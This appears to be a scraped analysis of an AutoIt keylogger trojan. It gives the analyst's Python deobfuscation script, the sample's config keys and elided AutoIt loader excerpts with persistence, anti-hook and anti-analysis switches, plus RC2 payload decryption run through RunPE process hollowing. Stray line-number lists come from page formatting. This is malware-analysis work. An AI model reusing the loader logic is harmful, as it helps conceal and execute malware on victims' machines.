AutoIt木马：键盘记录木马分析

import sys, os  
import sys, os  
def progress(n, total):  
sys.stdout.write("\r[+] Cleaned: %d%%" % (n*100/total))  
sys.stdout.flush()  
def remove_from_list(string_to_remove, list):  
while True:  
try:  
list.remove(string_to_remove)  
# print ".",  
except:  
# print "done"  
break 
def clean_from_dummystring_newlines(dummyfilename, newfilename):  
f = open(dummyfilename)  
with f as lines:  
content = lines.readlines()  
f.close()  
for mem in content:  
string_to_remove  = mem  
print "\n[+] dummy string to be removed, seems to be: "+string_to_remove  
break 
if content.count(string_to_remove) > 10:  
# print "String to be removed, seems to be: \""+string_to_remove+"\""  
remove_from_list(string_to_remove, content)  
if content.count(' \n') > 5:  
print "[+] Removing \" \\n\"" 
remove_from_list(" \n", content)  
f = open(newfilename, 'wb')  
f.write(''.join(content))  
f.close()  
info = os.stat(sys.argv[1])# get file size  
filesz = info.st_size  
f = open(sys.argv[1], 'rb')#.. now open file to read  
l = open(sys.argv[2], 'wb')  
b = f.read(1)  
datatowrite = ""  
list1 = []  
i = 0 
k = 0 
print "\n[+] cleaning the tab chars.." 
while b != '':# read file till EOF.. :)  
while b == '\t':# tabs are the chars i want to ignore...  
i += 1 
k += 1 
b = f.read(1)  
if i>0:  
# print "There were "+str(i)+" tabs.."  
if i<10:# writeable tabs  
for j in range (0,i):  
datatowrite = '\t' 
l.write(datatowrite)  
i = 0 
progress(k, filesz)# give progress status  
if b == '\n':# write \n to file...  
# print "NL"  
k += 1 
datatowrite = '\n' 
l.write(datatowrite)  
elif b == '\r':# write \r to file  
# print "CR"  
k += 1 
datatowrite = '\r' 
l.write(datatowrite)  
else:  
while b >= ' ' and b <= '}':# printable char? write it..  
k += 1 
list1.append(b)  
b = f.read(1)  
# print "".join(list1)  
datatowrite = ''.join(list1)# write to file  
l.write(datatowrite)  
list1 = []  
b = f.read(1)  
f.close()  
l.close()  
# Now clean a bit more.. clear the 1) dummy comment strings and 2) the dummy new lines.  
clean_from_dummystring_newlines(sys.argv[2], sys.argv[2])  
print "Done!" 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.

111.py jqanjzruzb.PBS clean.au3
1.

[8472254]
7345448=2738636
[5152433]
7790268=6953219
[5242747]
1024020=8930731
[9537477]
9537477=yzvf382a42256
1.
2.
3.
4.
5.
6.
7.
8.

.....  
.....  
Local $startup = IniRead($uniscriptdir & "\oziryzkvvcpm.AWX", "5242747", "1024020", "NotFound")  
If $startup = "8930731" Then  
startup()  
Else  
EndIf  
Local $antis = IniRead($uniscriptdir & "\oziryzkvvcpm.AWX", "antis1", "antis2", "NotFound")  
If $antis = "antis3" Then  
antis()  
Else  
EndIf  
.....  
$protectprocess = IniRead($uniscriptdir & "\oziryzkvvcpm.AWX", "8472254", "7345448", "NotFound")  
If $protectprocess = "2738636" Then  
AdlibRegister("anti_hook", 500)  
.....  
Local $persistence = IniRead($uniscriptdir & "\oziryzkvvcpm.AWX", "5152433", "7790268", "NotFound")  
If $persistence = "6953219" Then  
checkvbs()  
AdlibRegister("persistence", 500)  
Else  
EndIf  
......  
Func submain()  
$skey = IniRead($uniscriptdir & "\oziryzkvvcpm.AWX", "9537477", "9537477", "NotFound")  
$sapppath1 = FileGetShortName(@ScriptDir & "\sgym.VQA")  
$sapppath = FileRead(FileOpen($sapppath1, 16))  
$sarquive = _crypt_decryptdata($sapppath, $skey, $calg_rc2)  
Local $commandline = IniRead($uniscriptdir & "\oziryzkvvcpm.AWX", "commandline1", "commandline2", "NotFound")  
If $commandline = "commandline3" Then  
_runpe($sarquive," command-replace")  
Else  
_runpe($sarquive)  
EndIf  
EndFunc  
.... 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.